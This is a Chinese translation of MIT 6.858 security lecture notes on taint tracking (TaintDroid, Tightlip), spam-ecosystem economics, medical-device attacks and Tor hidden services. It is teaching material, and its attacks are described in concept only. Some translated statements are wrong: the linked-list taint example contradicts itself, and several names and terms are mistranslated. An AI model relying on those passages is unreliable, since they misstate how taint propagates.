    • 最初苹果应用程序之间没有隔离(现在不清楚?)。

    • 因此,浏览器中的漏洞利用使所有苹果应用程序“暴露”。

  • 在使用时提示权限。

    • 用户可以运行应用程序而不授予权限(不像安卓)。

    • 在这个模型中,“普通”权限并不是很有意义。

  • 苹果在其应用商店中批准应用程序,部分基于安全评估。

    • “基于声誉”的系统:难以利用许多手机并避免被检测。

参考资料

污点跟踪

注意: 这些讲座笔记是从 2014 年 6.858 课程网站上发布的笔记上稍作修改的。

安卓安全策略

这篇论文试图解决什么问题?

  • 应用程序可以外泄用户的私人数据并发送到某个服务器。

  • 高层次方法:跟踪哪些数据是敏感的,并防止其离开设备!

  • 为什么安卓权限不够用?

    • 安卓权限控制应用程序是否可以读取/写入数据,或访问设备或资源(例如,互联网)。

    • 使用安卓权限,很难指定关于特定类型数据的策略。 (例子: “即使应用程序有网络访问权限,也不应该能够通过网络发送用户数据”)。

    • Q: 啊哈!如果我们从不安装既读取数据又具有网络访问权限的应用程序呢?

    • A: 这将阻止一些明显的泄漏,但也会破坏许多合法的应用程序! (例子: 电子邮件应用程序)

      • 信息仍然可以通过侧信道泄漏。 (例子: 浏览器缓存泄漏了一个对象是否在过去被获取过)

      • 应用程序可以勾结! (例子: 没有网络权限的应用程序可以将数据传递给具有网络权限的应用程序。)

      • 恶意应用程序可能会欺骗另一个应用程序发送数据。 (例子: 发送一个意图到 Gmail 应用程序?)

安卓恶意软件实际上做了什么?

  • 用位置或 IMEI 进行广告。 (IMEI 是每台设备的唯一标识符。)

  • 窃取凭据:将您的联系人列表、IMEI、电话号码发送到远程服务器。

  • 将您的手机变成一个僵尸,使用您的联系人列表发送垃圾邮件/短信! 'Sophisticated' Android malware hits phones

  • 防止数据外泄是有用的,但仅靠污点跟踪是不足以防止设备被黑客攻击的!

TaintDroid 概述

TaintDroid 跟踪敏感信息在系统中传播的过程。

  • TaintDroid 区分信息源和信息汇

    • 源生成敏感数据:例子: 传感器、联系人、IMEI

    • 汇点暴露敏感数据:例子: 网络。

  • TaintDroid 使用 32 位位向量表示污点,因此最多可以有 32 个不同的污点来源。

  • 大致上,污点从赋值的右手边流向左手边。

例子:

int lat = gps.getLatitude();
                // The lat variable is now
                // tainted!

Dalvik VM is a register-based machine,
so taint assignment happens during the
execution of Dalvik opcodes [see Table 1].

   move_op dst src          // dst receives src's taint
   binary_op dst src0 src1  // dst receives union of src0
                            // and src1's taint 

有趣的特殊情况,数组:

 char c = //. . . get c somehow.
   char uppercase[] = ['A', 'B', 'C', . . .];
   char upperC = uppercase[c];
                     // upperC's taint is the
                     // union of c and uppercase's
                     // taint. 
  • 为了最小化存储开销,一个数组接收一个单一的污点标记,其所有元素都具有相同的污点标记。

  • Q: 为什么将数组或 IPC 消息仅关联一个标签是安全的?

  • A: 估计污点应该是安全的。 这可能会导致误报,但不会导致漏报。

  • 另一个特殊情况:本地方法(即,内部 VM 方法如 System.arraycopy(),以及通过 JNI 公开的本地代码)。

    • 问题: 本地代码不经过 Dalvik 解释器,所以 TaintDroid 无法自动传播污点!

    • 解决方案:手动分析本机代码,提供其污点行为的摘要。

      • 实际上,需要指定如何将参数的污点复制到返回值。

      • 问:这种扩展效果如何?

      • 答:作者认为这对内部 VM 函数(例如,arraycopy)效果不错。对于“简单”调用,分析可以自动化---如果只传递整数或字符串,则将输入污点的并集分配给返回值。

  • IPC 消息类似于数组:每个消息与一个污点相关联,该污点是组成部分的污点的并集。

    • 从传入消息中提取的数据被分配为该消息的污点。
  • 每个文件都与一个存储在文件元数据中的单个污点标志相关联。

    • 与数组和 IPC 消息一样,这是一个保守的方案,可能会导致误报。

污点标记在内存中是如何表示的?

  • 五种东西需要有污点标记:

    1. 方法中的局部变量

    2. 方法参数

    3. 对象实例字段

    4. 静态类字段

    5. 数组

  • 基本思想:将变量的标志存储在变量附近。

    • 问:为什么?

    • 答:保留空间局部性---这有望改善缓存行为。

    • 对于生活在堆栈上的方法参数和局部变量,立即在变量旁边分配污点标志。

例子:

 .
                 .
        |        .         |
        +------------------+
        |     local0       |
        +------------------+
        | local0 taint tag |
        +------------------+
        |     local1       |
        +------------------+
        | local1 taint tag |
        +------------------+
                 .
                 .
                 .

    _TaintDroid_ uses a similar approach
    for class fields, object fields,
    and arrays -- put the taint tag
    next to the associated data. 

因此,鉴于所有这些,TaintDroid中的基本思想很简单:当敏感数据通过系统流动时标记污点,并在数据试图通过网络离开时发出警报!

作者发现应用程序的各种不当行为:

  • 将位置数据发送给广告商

  • 将用户的电话号码发送到应用服务器

TaintDroid的信息流规则可能导致反直觉/有趣的结果。想象一个应用程序实现自己的链表类。

 class ListNode{
        Object data;
        ListNode next;
    } 

假设应用程序将受污染的值分配给“data”字段。如果我们计算列表的长度,长度值是否受污染?

向链表添加元素涉及:

  1. 分配一个ListNode

  2. 分配给data字段

  3. 修补next指针

请注意,步骤 3不涉及受污染的数据!因此,“next”指针是受污染的,这意味着计算列表中元素数量不会生成受污染的长度值。

TaintDroid的性能开销是多少?

  • 用于存储污点标记的额外内存。

  • 分配额外的 CPU 成本来分配、传播、检查污点标记。

  • 开销似乎适中:内存开销约为 3--5%,CPU 开销为 3--29%

    • 然而,在手机上,用户非常关心电池寿命:29% 的 CPU 性能下降可能是可以接受的,但电池寿命下降 29% 是不好的。

问题和答案

问:为什么不在 x86 指令或 ARM 指令级别跟踪污点?

答:这太昂贵了,而且误报太多。

  • 例子: 如果内核数据结构被错误地分配了污点,那么污点将错误地流向用户模式进程。这会导致污点爆炸:无法确定哪个状态真正受到敏感数据的影响。

  • 这可能发生的一种方式是如果堆栈指针或断点指针被错误地标记。一旦发生这种情况,污点会迅速扩散:

Q: 污点跟踪似乎很昂贵---我们不能只检查输入和输出以查找已知敏感值吗?

A: 这可能作为一种启发式方法,但对于对手来说很容易绕过它。

  • 有许多编码数据的方式,例如,URL 编码、二进制与文本格式等。

隐式流

如描述的,污点跟踪无法检测隐式流

隐式流发生在一个受污染的值影响另一个变量而不直接分配给该变量时。

 if (imei > 42) {
         x = 0;
     } else {
         x = 1;
     } 

我们可以尝试通过网络泄露 IMEI 的信息,而不是分配给x

隐式流通常是由于受污染的值影响控制流而产生的。

可以尝试通过给程序计数器(PC)分配一个污点标记来捕捉隐式流,更新它与分支测试的污点,并将 PC 的污点分配给 if-else 子句内的值,但这可能会导致很多误报。

例子:

 if (imei > 42) {
         x = 0;
     } else {
         x = 0;
     }

     // The taint tracker thinks that
     // x should be tagged with imei's
     // taint, but there is no information
     // flow! 

应用程序

污点跟踪的有趣应用:跟踪数据副本。

  • 通常希望确保敏感数据(密钥、密码)及时擦除。

  • 如果我们不担心性能,我们可以使用 x86 级别的污点跟踪来查看敏感信息如何在机器中流动。参考

  • 基本思想:创建一个 x86 模拟器,解释完整系统(操作系统+应用程序)中的每个 x86 指令。

  • 您会发现软件通常会保存比必要时间更长的数据。例如,按键数据会保留在:

    • 键盘设备驱动程序的缓冲区

    • 内核的随机数生成器

    • X 服务器的事件队列

    • 用于传递包含按键消息的消息的内核套接字/管道缓冲区

    • 终端应用程序的tty缓冲区

    • 等等...

Tightlip

TaintDroid检测敏感数据泄漏,但需要 Java VM 的语言支持--VM 必须实现污点标记。我们能否在没有受管运行时支持的情况下跟踪敏感信息泄漏?如果我们想要检测遗留的 C 或 C++应用程序中的泄漏怎么办?

  • 一种方法:使用TightLip 系统中引入的双重进程

  • 步骤 1: 定期,Tightlip运行一个守护进程,扫描用户的文件系统,并查找类似邮件文件、文字处理文档等敏感信息。

    • 对于这些文件中的每一个,Tightlip 生成文件的影子版本。影子版本是非敏感的,并包含清洁后的数据。

    • Tightlip 将每种类型的敏感文件与专门的清洁器相关联。 示例: 电子邮件清洁器用等量的虚拟字符覆盖 to: 和 from: 字段。

  • 第二步:在稍后的某个时刻,一个进程开始执行。最初,它不接触任何敏感数据。如果它接触到敏感数据,那么 Tightlip 会生成一个复制者进程。

    • 复制者是原始进程的沙盒版本。

      • 继承大部分状态从原始进程...

      • ...但读取清洁后的数据而不是敏感数据

    • Tightlip 让两个进程并行运行,并观察这两个进程所做的系统调用。

    • 如果复制者与原始进程做出相同的系统调用并带有相同的参数,那么很可能输出不依赖于敏感数据。

  • 第三步:如果系统调用发散,复制者试图进行网络调用,Tightlip 将标记潜在的敏感数据泄漏。

    • 在这一点上,Tightlip 或用户可以终止进程,失败网络写入,或执行其他操作。
  • Tightlip 的优点:

    • 适用于传统应用程序

    • 需要对标准操作系统进行轻微更改,以比较系统调用的顺序及其参数

    • 低开销(基本上是运行额外进程的开销)

  • Tightlip 的局限性

    • 清洁器位于受信任的计算基础上。

      • 他们必须捕捉所有敏感数据的实例。

      • 他们还必须生成合理的虚拟数据--否则,复制者可能会在格式不正确的输入上崩溃!

    • 如果复制者从多个来源读取敏感数据,并且发生系统调用分歧,Tightlip 无法判断原因。

分散式信息流控制

TaintDroidTightlip 假设开发人员不提供任何帮助...但如果开发人员愿意在其代码中明确添加污点标签呢?

 int {Alice --> Bob} x;  // Means that x is controlled
                          // by the principal Alice, who
                          // allows that data to be seen
                          // by Bob. 

输入通道: 读取值获取通道的标签。

输出通道: 通道上的标签必须与写入值上的标签匹配。

  • 静态(即编译时)检查可以捕捉许多涉及不当数据流的错误。

    • 粗略地说,标签就像编译器可以推理的强类型。

    • 静态检查比动态检查要好得多:运行时失败(或其缺失)可能是一种隐蔽通道!

  • 更多细节,请参阅Jif paper

垃圾邮件的经济学

注意: 这些讲座笔记略有修改,来自 2014 年 6.858 课程网站

网络攻击的经济学

到目前为止,我们已经处理了安全性的技术方面(缓冲区溢出,同源策略,Tor 等)。

  • 主要关注点: 对手如何破坏系统?我们制定威胁模型,然后尝试使我们的系统对抗该威胁模型。

  • 另一种观点: 为什么攻击者试图破坏我们的安全政策?

    • 一些类型的攻击出于意识形态原因(例如,公民政治抗议;政府审查,Stuxnet)。对于这些类型的攻击,金钱不是主要动机。

      • 让这些攻击变得更困难很难,除了通常“使计算机更安全”。

      • 经济处罚可能涉及威慑,即在犯罪被发现后的处罚。然而,计算机和网络目前的问责制很差。 例子: Stuxnet 是从哪里来的?我们有一些好主意,但我们能在法庭上打赢官司吗?我们应该去哪个法庭?

    • 然而,许多种类的计算机犯罪受到经济动机的驱使(例如,国家支持的工业间谍活动;垃圾邮件)。

  • 要赚钱就得花钱!

    • 攻击者需要建立基础设施来支持攻击。 例子: 用于发动攻击的机器,用于处理非法金融交易的银行。

    • 或许我们可以通过使攻击者的基础设施成本过高来阻止他们? 例子: 如果发送垃圾邮件变得不赚钱,垃圾邮件发送者将停止发送垃圾邮件!

今天的讲座,我们将专注于涉及重要经济因素的攻击。

  • 例子: 在赛里斯,垃圾邮件发送者经常雇用“短信车”。这些车辆拦截手机和手机基站之间的通信。车辆发现电话号码,然后向这些号码发送垃圾短信。一辆车每天可以发送 20 万条短信!

    • 拦截设备成本:~$1,600

    • 每天利润:~$1,600

    • 被抓到罚款:< $5,000`

    • 由于很少被抓到,垃圾车是一项利润丰厚的生意。

      • 此外,赛里斯移动运营商每条垃圾短信都能赚钱,因此运营商有动机继续允许垃圾短信传播。

      • 运营商定义特殊的“106 前缀”号码,这些号码不受一天可以发送多少条短信的正常限制。106 号码应该用于非商业目的(例如,公司与员工联系),但 55%的赛里斯短信垃圾邮件来自 106 号码。

    • 《经济学家》,“垃圾短信:惹人厌烦的 106 种方式。”2014 年 11 月 29 日

  • 有许多公司交易“网络武器”。 例子: Endgame。

    • $1.5 百万美元:Endgame 将为您提供数百万台未打补丁机器的 IP 地址和物理位置。

    • 250 万美元:终极目标将向您出售一个“零日订阅包”,每年提供 25 个漏洞利用。

谁从网络武器交易商那里购买漏洞利用?政府?公司(例如,“反击”计划)?……?

有一个市场可以购买和出售攻击者可以用于恶意目的的各种资源。

  • 被入侵的系统

    • 整个被入侵的机器。

    • 访问被入侵的网站(例如,发布垃圾邮件、链接、重定向、恶意软件)。

    • 被入侵的电子邮件帐户(例如,Gmail)。

    • 在现有僵尸网络上运行服务(垃圾邮件,DoS)。

  • 工具

    • 恶意软件套件

    • 漏洞、利用

  • 被盗信息

    • 社会保障号、信用卡号、电子邮件地址等。

垃圾邮件生态系统

本文重点讨论垃圾邮件生态系统(特别是药品、仿冒商品和软件的销售)。主要有三个步骤:

  1. 广告:以某种方式让用户点击链接。

  2. 点击支持:展示一个将成为点击目标的网站。

  3. 认识到:允许用户购买东西、发送货款,然后收到产品。

最终,资金来自这个链条中的最后一部分,当用户购买东西时。

  • 许多组件是外包的或通过联盟计划支持的:垃圾邮件发送者充当广告商,但联盟处理大部分/全部后端工作(例如,与银行合作)。

  • 垃圾邮件发送者通常按佣金工作,获得他们带来的资金的 30%--50%。

接下来,我们将详细讨论这三个步骤,并探讨可能的干扰方式。

广告:如何让用户点击链接?

  • 典型方法: 发送电子邮件垃圾邮件。(其他方法也有效:博客/评论垃圾邮件,在社交网络中发送垃圾邮件,……)

  • 发送垃圾邮件的成本: 每百万封垃圾邮件的零售价为 60 美元。

    • 直接操作垃圾邮件僵尸网络的实际成本要低得多。

    • 垃圾邮件电子邮件的投递和点击率非常低,因此发送垃圾邮件必须非常便宜才能盈利。

    • 一些相同人员之前的研究:

      • 发送了约 3.5 亿封垃圾邮件

      • 约 10,000 次点击,28 次购买尝试

  • 我们如何让发送垃圾邮件变得更加昂贵?

    • IP 级别黑名单: 一段时间内有效,但只有对手拥有少量 IP 时才有效。

    • 发送电子邮件收费?

      • 旧想法,以各种形式存在:金钱、计算、验证码。

      • 这可能有效吗?我们如何让每个人立即采用这种方法?

      • 即使每个人同时采用这种方法,这也会起作用吗?如果用户设备被入侵怎么办?(但即使桌面设备被入侵,按照每条消息收费可能是一个很高的门槛,可以大大减少垃圾邮件,因为生成垃圾邮件需要非常便宜才能盈利!)

  • 对手的三种解决方案:

    • 大规模僵尸网络提供许多 IP 地址。

    • 被入侵的网络邮件帐户提供特殊 IP 地址访问。

      • 雅虎、Gmail、Hotmail 无法被列入黑名单。
    • 劫持 IP 地址(使用 BGP 公告)。

  • 然而,解决方法并非免费,对垃圾邮件发送者会产生一些成本。

    • 发送垃圾邮件的成本在 IP 级别黑名单出现之前甚至更低。

僵尸网络通常用于发送垃圾邮件。

  • 典型架构

    • 许多运行僵尸网络软件的被入侵终端用户机器。

    • 用于向僵尸发送命令的命令和控制(C&C)服务器/基础设施。

    • 机器人定期从 C&C 基础设施获取新任务。

  • 单个僵尸机器具有各种有用资源:

    • 物理:IP 地址(用于发送垃圾邮件),网络带宽,CPU 周期。

    • 数据:电子邮件联系人(用于发送垃圾邮件),信用卡号码,...

  • 防止僵尸机器发送垃圾邮件很困难--可能有数百万个僵尸 IP!

将您的恶意软件安装在终端主机上需要多少费用?

  • 每个主机的价格:美国主机约为$0.10,亚洲主机约为$0.01。

  • 似乎难以防止;许多用户将乐意运行任意可执行文件。

命令和控制架构是什么样的?

  • 集中式 C&C 基础设施:对手需要“防弹”主机(即,拒绝来自银行、法律机构的关闭请求)。

    • 防弹主机收取风险溢价。
  • 如果托管服务被关闭怎么办?

    • 对手可以使用 DNS 进行重定向。此外,使用“快速流动”技术,攻击者可以快速更改与主机名关联的 IP 地址。

      • 攻击者创建一个服务器 IP 地址列表(可能有数百或数千个 IP);攻击者将每个 IP 绑定到主机名上,持续时间很短(例如,300 秒)。
    • 摧毁僵尸网络的 DNS 域名有多难?

      • 可以关闭域名的注册,也可以关闭域名的 DNS 服务器。

      • 对手可以使用域名流动,跨越许多独立的注册商。

        • 更难摧毁:需要注册商之间的协调!

        • Conficker 发生了:它足够重要/重要...

  • 分散的 C&C 基础设施:点对点网络。

    • 允许僵尸网络主控操作更少或不需要服务器;难以摧毁。

被入侵的 Webmail 帐户也可以用于发送垃圾邮件。

  • 非常有效的交付机制:每个人都接受来自 Yahoo、Gmail 等的电子邮件。

  • Webmail 提供商有动机防止帐户被盗。

    1. 如果供应商不阻止垃圾邮件,那么所有来自该供应商的邮件可能会被标记为垃圾邮件!

    2. 供应商通过广告赚取服务费,因此供应商需要真实用户点击广告。

  • 供应商如何检测垃圾邮件?

    • 监视每个帐户发送的消息,检测可疑模式。

    • 对于可疑消息和初始注册/最初几条消息,使用验证码:向用户呈现图像/声音,要求用户转录--这对人类来说应该很容易,但对计算机来说很难。

  • 获取被入侵的 Webmail 帐户有多难?

    • 每个帐户的价格:在 Yahoo、Gmail、Hotmail 等上大约为$0.01-0.05。

为什么 Webmail 帐户如此便宜?验证码发生了什么?

  • 对手构建服务来解决验证码;这只是一个金钱问题。

    • 结果相当便宜:每个验证码约为$0.001,延迟低。

    • 令人惊讶的是,这主要是由人类完成的:攻击者可以将工作外包给任何廉价劳动力的国家。[也可以使用亚马逊的 Mechanical Turk:这是一个众包网络服务,允许人类处理计算机难以执行的任务。]

  • 攻击者可以重复使用验证码在另一个站点上,要求正常访客解决它,而不是雇佣某人来解决攻击者。

  • 供应商可以对垃圾邮件发送者实施更频繁的检查,但如果检查太频繁,普通用户可能会感到恼火。

    • 示例: Gmail 允许您启用双因素身份验证。在这种方案中,当您从之前未知的计算机上打开 Gmail 时,Google 会通过短信向您发送验证代码。

点击支持:用户联系 DNS 将主机名转换为 IP 地址

然后,用户联系相关的网络服务器。因此,垃圾邮件发送者需要:

  1. 注册一个域名。

  2. 运行一个 DNS 服务器。

  3. 运行一个网络服务器。

Q: 为什么垃圾邮件发送者要费心使用域名?为什么不直接使用原始 IP 地址来提供内容?

  • A1: 用户可能不太可能点击包含原始 IP 地址的链接?

  • A2: 更强的原因是,使用一层间接性使得保持内容服务器活跃变得更容易。

    • 如果执法机构注销域名或禁用 DNS 服务器,但服务器仍然活跃,垃圾邮件发送者可以注册一个新的域名并创建一个新的 DNS 服务器。

重定向站点:

  • 垃圾邮件 URL 通常指向重定向站点。

    • 免费的重定向服务如 bit.ly 或其他 URL 缩短服务。

    • 受损站点也可以执行重定向到垃圾邮件服务器。

  • 重定向站点很有用,因为垃圾邮件过滤系统可能会将 URL 列入黑名单。

    • 一个受欢迎的站点作为重定向平台非常有用:要阻止垃圾邮件,过滤软件必须将受欢迎的网站列入黑名单!
  • 垃圾邮件发送者有时会将僵尸网络用作网络服务器或代理。

    • 这隐藏了真实网络服务器的 IP 地址;再次间接!

在某些情况下,单个联盟提供商将运行一些或所有这些服务。

Q: 执法机构不能只是关闭联盟计划吗?

  • A: 理论上是的,但要关闭整个组织可能会很困难。此外,还有相当数量的联盟计划。

Q: 关闭单个域名或网络服务器有多困难?

  • A: 取决于注册商或托管提供商[请参见论文中的图 3、4、5]。

    • 只有少数几个注册商为许多联盟提供域名托管;同样,只有少数几个 AS 为许多联盟提供网络服务器托管。

    • 只有少数几个联盟商将他们的域名、域名服务器和网络服务器分布在许多注册商和 AS 之间。

    • 防弹主机提供商更昂贵,但数量众多;即使它们被关闭,相对容易替换。

实现阶段发生了什么?

  1. 用户支付商品费用。

  2. 用户通过邮件收到商品(或下载软件)。

付款协议:几乎总是信用卡。信用卡信息沿着这个流程传输:

 Customer
      |---->Merchant
             |----> Payment processor (helps the
                     |  merchant deal with the
                     |  payment protocol)
                     |
                     |-->Acquiring bank (merchant's)
                            |-->Association network
                                  | (e.g., Visa)
                                  |
                                  |---> Issuing bank
                                        (customer's) 
  • 发卡银行决定交易是否看起来合法,如果是,就会发送批准回来。

  • PharmaLeaks 论文:一些计划每年收入超过 1000 万美元!

对于实物商品,供应商通常会直接将商品运送给购买者(这被称为"drop shipping")。

  • Drop shipping 意味着联盟计划不需要自己储存实物产品。

  • 作者推测供应商很多,因此没有供应端瓶颈。

Q: 为什么垃圾邮件发送者正确分类他们的信用卡交易?

  • A: 协会网络(例如 Visa 或 Mastercard)对错误编码的交易收取高额罚款!可以推测,协会网络不希望因掩盖金融交易的真实目的而惹上麻烦。

Q: 为什么垃圾邮件发送者实际上会发货?

  • A: 信用卡公司跟踪"退单"请求的数量(即客户要求信用卡公司退还涉及破损交易的资金的次数)。

    • 如果退单交易数量过高(>1%),信用卡公司会对此进行处罚。

    • 因此,对于垃圾邮件发送者频繁向客户收费但不发货是不可持续的,特别是如果. . .

    • 只有少数几家银行愿意与垃圾邮件发送者互动!(论文中的表格 V,图 5

      • CCS'12 论文:在 2 年内只见过 30 家收单银行!

      • 因此,一个有效的垃圾邮件预防技术是专注于那些少数几家银行。为什么呢?

        1. 切换银行的成本很高。

        2. 切换的财务风险。

      • 但我们实际上能做些什么呢?

        • 说服发卡银行将这些收单银行列入黑名单?

        • 试图说服这些银行停止与垃圾邮件发送者打交道?这可能有些棘手:"由于知识产权保护存在不一致性,甚至在这些银行所在的国家,像药品这样的商品的销售是否违法都不清楚。"(第四部分.D)

          • 垃圾邮件是令人反感的,但并非总是犯罪

          • 例如,一些联盟客户可能不是来自垃圾邮件,而是来自合法的谷歌搜索!

自这篇论文发表以来,信用卡网络已经采取了一些行动。

  • 论文发表后,一些药房和软件供应商对 Visa 提出了投诉(作者使用 Visa 卡进行垃圾邮件购买)。

  • 作为回应,Visa 进行了一些政策变更:

    • 所有药品销售现在被标记为高风险;如果一家银行作为高风险商户的收单行,那么该银行将受到更严格的监管(例如,银行需要参与风险管理计划)。

    • Visa 的运营指南现在明确列举并禁止非法销售药品和侵权商品。

      • 新语言使得 Visa 可以积极对收单银行进行罚款。

      • 一些联盟计划的回应是要求客户提交身份证明(目的是过滤掉安全研究人员的测试购买)。然而,这会损害销售,因为客户不愿提供他们的身份信息。

伦理

这篇论文是否引起了道德关注?作者是否通过购买他们的商品支持了垃圾邮件发送者?

一些公司发起了“反击”活动,以报复知识产权盗窃,或阻止涉及其机器的僵尸网络。

  • 示例: 2013 年,微软、美国运通、PayPal 和其他一些公司关闭了一个大型僵尸网络。微软随后告知受影响用户应该修补他们的机器。

  • 微软的法律推理:僵尸网络正在侵犯微软商标。越来越多的公司正在使用新颖的法律论点采取行动对抗僵尸网络... 这是一个好主意吗?

参考文献

一些问题可能已经在这里

2011 年测验 2

Q8: 一个“占领北桥”抗议者建立了一个 Twitter 账户以假名广播消息。为了保持匿名,他决定使用 Tor 登录该账户。他从可信来源安装了 Tor 并启用了它,启动 Firefox,输入 www.twitter.com 到浏览器中,然后继续登录。由于他使用 Tor,现在可能有哪些对手能够以某种方式危害抗议者?忽略 Tor 客户端本身的安全漏洞。

A8: 抗议者容易受到恶意出口节点拦截他的非 HTTPS 保护连接的影响。(由于 Tor 明确涉及通过出口节点代理,这比拦截公共互联网上的 HTTP 更容易。)

Q9: 抗议者现在使用相同的 Firefox 浏览器连接到另一个托管讨论论坛的网站,也通过 Tor 连接(但只在建立新的 Tor 电路后)。他的目标是确保 Twitter 和论坛不能勾结以确定同一人访问了 Twitter 和论坛。为了避免第三方跟踪,他在访问不同网站之间从浏览器中删除所有 cookie、HTML5 客户端存储、历史记录等。在没有软件漏洞和大量其他流量的情况下,对手如何能够相关他最初访问 Twitter 和他访问论坛,假设没有软件漏洞,以及大量其他流量到两个网站?

A9: 对手可以通过用户代理字符串、浏览器上安装的插件、窗口尺寸等对抗议者的浏览器进行指纹识别,这可能足以强烈相关这两次访问。


2012 年测验 2

Q2:Alyssa 想要了解在 Tor 上运行的隐藏服务的身份。她计划设置一个恶意的 Tor OR,设置一个在该恶意 Tor OR 上的会合点,并将这个会合点的地址发送给隐藏服务的介绍点。然后,当隐藏服务连接到恶意的会合点时,恶意的 Tor OR 将记录连接来自何处。

Alyssa 的计划会奏效吗?为什么会或者为什么不会?

A2:不会奏效。一个新的 Tor 电路被构建在

6.858 测验 2 复习

医疗设备安全

FDA 标准:如 Semmelweis 所说 => 应该洗手

除颤器:

  • 2003 年:植入式除颤器使用 WiFi。可能出现什么问题?

  • 内部:电池,无线电,密封

为什么无线?

  • 旧方法:在手臂上插入针来扭转拨号,感染风险 😦

Q: 无线安全风险是什么?

  • 不安全的做法 - 实施错误。

  • 制造商和用户设备体验(MAUDE)数据库

    • 死因:输液泵缓冲区溢出。

    • 检测到错误,但进入安全模式,关闭泵。

    • 患者因脑压增加而死亡,因为没有泵,因为缓冲区溢出。

人为因素和软件

为什么独特?

500 多人死亡

例如,用于向患者提供剂量的用户界面未正确指示它是期望小时还是分钟作为输入(hh:mm:ss)。导致数量级错误:20 分钟与预期的 20 小时相比。

管理问题

医疗设备也需要进行软件更新。

例如,McAffee 将 DLL 分类为恶意,隔离,搞乱了医院服务。

例如,使用 Windows XP 的医院:- Microsoft 不再为 XP 提供安全更新,但仍然有新的医疗产品使用 Windows XP。

FDA 网络安全指南

制造商预期看到什么?他们如何考虑安全问题/风险/缓解策略/残余风险?

对手的东西

除颤器和植入物

这节笔记部分涉及 Kevin Fu 讲座中对植入式除颤器攻击的讨论。在他给出的一个例子中,植入式设备通过另一个称为“魔杖”的设备进行无线编程,该设备使用专有(非公开,非标准化)协议。此外,魔杖在特许的电磁频谱上传输(设备侦听),而不是 WiFI 或蓝牙。接下来的两行描述了除颤器如何植入患者的手术过程。

  • 设备通过魔杖编程,使用专有协议在特许频谱上进行通信。(就安全性而言是个好主意吗?)

  • 患者清醒但麻木和镇静

  • 六个人通过血管穿过电极....

  • 患者被给予一个基站,看起来像 AP,与植入物进行专有 RF 通信,数据通过互联网发送到医疗公司

  • 设备和程序员之间的通信:没有加密/认证,数据以明文发送

  • 设备存储:患者姓名,出生日期,制造和型号,序列号,更多...

  • ???????? 使用软件无线电(USRP/GNU Radio Software)

Q: 你能通过无线方式诱发致命的心律吗?

A: 是的。设备在 1 毫秒内发出 500V 的电击。例如,被马踢在胸部。

设备通过软件更新修复?

医疗保健提供者

“被困在 Windows XP 的医院”截图:医院中有 600 台 Service Pack 0 Windows XP 设备!

医疗设备感染的平均时间:- 无保护 12 天 - 有防病毒软件 1 年

供应商是感染的常见来源

USB 驱动器是感染的常见途径。

下载上的医疗设备签名。

"点击这里下载软件更新"

  • 网站似乎包含恶意软件。

  • Chrome:安全的网络浏览服务检测到"呼吸机"恶意软件。

"药物混合器"示例:

  • 运行 Windows XP 嵌入式。

  • FDA 期望制造商保持软件更新

  • 制造商声称无法更新是因为 FDA

    • double you tea f?

有意的恶意软件故障有多重要?

例如 1:芝加哥 1982 年:有人在泰诺中投入氰化物 例如 2:有人在癫痫支持小组网站上发布了闪烁图像。

为什么要相信传感器?

例如智能手机。无电池传感器演示。在 MSP430 上运行。微控制器认为来自 ADC 到微控制器的任何东西都是真实的。可能与导线的谐振频率有关的事情?

将干扰注入基带。

  • 在模拟中很难过滤。

  • => 有干扰的高质量音频比麦克风更好。

发送与导线的谐振频率匹配的信号。

将电路视为无意的解调器。

  • 可以使用高频信号欺骗微控制器以为。

  • 由于知道微控制器的中断频率和相关属性,存在低频信号。

心脏设备容易受到基带电磁干扰的影响。

  • 在基带中插入有意的电磁干扰。

发送脉冲正弦波以欺骗除颤器以为心脏正常跳动。

  • ????? 在体外有效。

  • 在体内或盐水溶液中难以复制。

有任何防御措施吗?

  • 在一个心跳之后发送额外的起搏脉冲。

    • 一个真实的心脏不应该发送响应。

在电源插座上检测恶意软件。

嵌入式系统 <--> WattsUpDoc <--> 电源插座。

比安全性更大的问题?

Q: 真或假:黑客入侵医疗设备是目前最大的风险。

A: 错误。患者护理和医疗传感器的广泛不可用性更为重要。

安全性不能被简单添加。

  • 例如在 Windows 95 上进行 MRI。

  • 例如运行在 OS/2 上的起搏器程序员。

在医疗设备等上检查 gmail。

在医疗设备上运行 pandora。

保持临床工作流程可预测。

Tor


资源


概述

  • 目标

  • 机制

    • 流 / 电路

    • 会合点 & 隐藏服务

  • 目录服务器

  • 攻击 & 防御

  • 练习问题


目标

  • 匿名通信

  • 响应者匿名性

    • 如果我运行像 "mylittleponey.com" 这样的服务,我不希望任何人将我与该服务关联起来
  • 部署性 / 可用性

    • 为什么是安全目标?

      • 因为它增加了使用 Tor 的人数,即 匿名集

      • ...从而增加安全性

        • (对手有更多人可以区分你)
  • TCP 层 (为什么? 请参见上面的讲座笔记中的解释)

  • 不是 P2P (因为更容易受攻击?)


电路创建

TODO: 定义电路

Alice 将许多 TCP 流多路复用到几个 电路 上。为什么? 低延迟系统,制作新电路昂贵。

TODO: 定义洋葱路由器 (OR)

目录服务器: 网络状态, OR 公钥, OR IPs

ORs:

  • 所有通过 TLS 连接在一起

  • 参见博客文章 1: 权威机构对共识目录文档进行投票

例子:

[ Draw example of Alice building a new circuit ]
[ and connecting to Twitter.                   ] 

会合点 & 隐藏服务

例子:

[ Add an example of Alice connecting to Bob's  ]
[ hidden service on Tor                        ] 

Bob 运行隐藏服务 (HS):

  • 决定长期 PK/SK 对

  • 发布介绍点,广告在查找服务上

  • 构建到 介绍点 的电路,等待消息

Alice 想要连接到 Bob 的 HS:

  • 构建到新的 会合点 (RP) 的电路 (任何 OR)

    • 给 RP cookie
  • 构建到 Bob 的一个介绍点的电路并发送消息

    • with {RP, Cookie, g^x}_PK(Bob)
  • Bob 构建到 RP 的电路,发送 { cookie, g^y, H(K)}

  • RP 连接 Alice 和 Bob

posted @ 2026-02-20 16:42  绝不原创的飞龙  阅读(4)  评论(0)    收藏  举报